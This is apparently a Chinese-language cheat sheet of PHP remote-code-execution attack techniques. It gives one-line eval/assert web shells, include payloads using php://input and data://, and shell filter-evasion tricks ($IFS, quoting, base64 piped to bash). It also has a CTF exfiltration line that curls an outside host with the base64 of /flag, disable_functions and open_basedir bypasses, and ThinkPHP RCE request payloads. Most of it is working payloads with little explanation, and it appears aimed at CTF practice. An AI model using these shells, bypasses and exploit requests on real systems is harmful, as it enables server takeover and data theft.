RCE攻击

代码执行

代码执行原理

代码执行是指应用程序在调用⼀些能够将字符串转换为代码的函数时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞,使得用户能利用任意脚本代码(PHP)。

代码执行函数

eval()

eval是一个语言结构,eval()函数把字符串按照PHP代码来执行,该字符串必须是合法的PHP代码,且必须以分号结尾。

1
<?php eval($_POST['test']); ?>

assert()

php4、php5、php7.0中assert()是一个函数,php7.1中为语法结构,assert()函数把字符串按照PHP代码来执行。

1
<?php assert($_POST['test']); ?>

preg_replace

PHP版本小于5.5.0时,使用/e修饰符,preg_replace将$replacement当成php代码执行。

1
<?php preg_replace("/test/e",$_POST["test"],"This is a text")?>

include和require

条件:需要在allow_url_include设置为On时,才会生效。利用data://php://input伪协议getshell。

1
<?php include $_GET['test'];
使用php://input协议
1
2
3
4
GET /index.php?test=php://input HTTP/1.1
Host: 192.168.2.112

<?php phpinfo();
使用data://协议
1
GET /index.php?test=data://text/plain,%3C?php%20phpinfo();%20?%3E HTTP/1.1

create_function()

1
2
<?php $b = create_function('', $_GET['para']);
$b();
1
GET /index.php?para=phpinfo(); HTTP/1.1

call_user_func()

1
<?php call_user_func($_GET["fun"], $_GET["para"]);
1
GET /index.php?fun=printf&para=Hello%20World HTTP/1.1

可变函数

1
2
<?php $a = "phpinfo";
$a();
  • 可变函数作用范围‘

可变函数不能用于例如echo,print,unset(),isset(),empty(),include,require以及类似的语言结构。

1
<?php $_POST['fun']($_POST['para']);
1
2
3
4
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

fun=printf&para=Hello%20World
1
2
<?php $a="assert";
$a(phpinfo());

命令执行

命令执行原理

靠执行脚本代码调用操作系统命令。

命令执行函数

  • system

    1
    system('dir');
  • exec

    1
    printf(exec("dir"));
  • ``

    1
    printf(`dir`);
  • shell_exec

    1
    printf(shell_exec("dir"));
  • passthru

    1
    passthru("dir");

Linux命令绕过

关键字绕过

  • 空字符、空变量、转义符

    1
    2
    3
    l''s
    bin dev home lib lost+found mnt proc run snap sys usr
    boot etc init lib64 media opt root sbin srv tmp var
    1
    2
    3
    l\s
    bin dev home lib lost+found mnt proc run snap sys usr
    boot etc init lib64 media opt root sbin srv tmp var
    1
    2
    3
    l$@s
    bin dev home lib lost+found mnt proc run snap sys usr
    boot etc init lib64 media opt root sbin srv tmp var
    1
    2
    3
    l$1\s
    bin dev home lib lost+found mnt proc run snap sys usr
    boot etc init lib64 media opt root sbin srv tmp var
  • 字符串拼接

    1
    2
    3
    a=l;b=s;c=/;$a$b $c
    bin dev home lib lost+found mnt proc run snap sys usr
    boot etc init lib64 media opt root sbin srv tmp var
  • 花括号

    1
    2
    3
    4
    ls r{oo,o}t #花括号通过逗号分割构建序列并展开
    ls: cannot access 'rot': No such file or directory
    root:
    download
    1
    2
    3
    4
    5
    6
    7
    {l,s}{s,l} r{oo,o}t; #两个花括号可以表示两个序列的笛卡尔积
    ls: cannot access 'll': No such file or directory
    ls: cannot access 'ss': No such file or directory
    ls: cannot access 'sl': No such file or directory
    ls: cannot access 'rot': No such file or directory
    root:
    download
  • 通配符

    1
    2
    3
    4
    5
    6
    7
    8
    ls /ro*
    download
    ls /ro?t
    download
    ls /ro[a-z]t
    download
    ls /r[^a,b,c,o,2,3,4]ot
    download
  • 编码

    1
    2
    echo bHMgL3Jvb3QK|base64 -d|bash
    download
    1
    2
    echo 6C73202F726F6F740A|xxd -r -ps|bash
    download

cat命令绕过

1
2
3
4
5
6
7
8
9
cat /flag
tac /flag
more /flag
less /flag
head /flag
tail /flag
nl /flag
od /flag
rev /flag|rev

空格绕过

  • 利用重定向

    1
    2
    3
    4
    cat</flag
    flag{this_is_the_flag}
    cat<>/flag
    flag{this_is_the_flag}
  • 利用分隔符

    1
    2
    3
    4
    5
    6
    cat$IFS/flag
    flag{this_is_the_flag}
    cat$IFS$9/flag
    flag{this_is_the_flag}
    cat${IFS}/flag
    flag{this_is_the_flag}
  • 利用花括号

    1
    2
    {cat,flag}
    flag{this_is_the_flag}

无回显

  • 数据外带

    [ACTF2020] 新生赛Exec1

    1
    2
    3
    POST http://fb521f66-2b7a-4760-a769-a90d53c26e47.node4.buuoj.cn:81/ HTTP/1.1

    target=127.0.0.1;curl www.diaoan.xyz/`cat /flag|base64`

绕过disable_function

  • 利用条件

    • 能上传.so文件
    • 能够控制LD_PRELOAD的值,比如putenv()函数
    • 因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()imap_mail()mb_send_mail()error_log()函数等
  • 利用方式

    1. 编写.so,并上传到服务器上
    2. putenv("LD_PRELOAD=./hack.so")
    3. 运行php的mail()函数

绕过open_basedir

  • 回溯绕过

    1
    mkdir('cl4y');chdir('cl4y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/’));
  • 利用DirectoryIterator+glob://

    1
    2
    3
    4
    5
    6
    7
    <?php 
    $c = $_GET['c’];
    $a = new DirectoryIterator($c);
    foreach($a as $f){
    echo($f->__toString().'<br>’);
    }
    ?>
  • 利用symlink绕过

  • 利用bindtextdomain和SplFileInfo方法

  • 利用SplFileInfo::getRealPath()方法

  • 利用realpath列目录

CVE复现

  • [ThinkPHP]5-Rce

    1
    GET ?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami HTTP/1.1
  • [ThinkPHP]2-Rce

    1
    GET /index.php?s=/index/index/xxx/${${@eval($_POST[cl4y])}} HTTP/1.1
  • [ThinkPHP]5.0.23-Rce

    1
    2
    3
    POST ?s=captcha HTTP/1.1

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami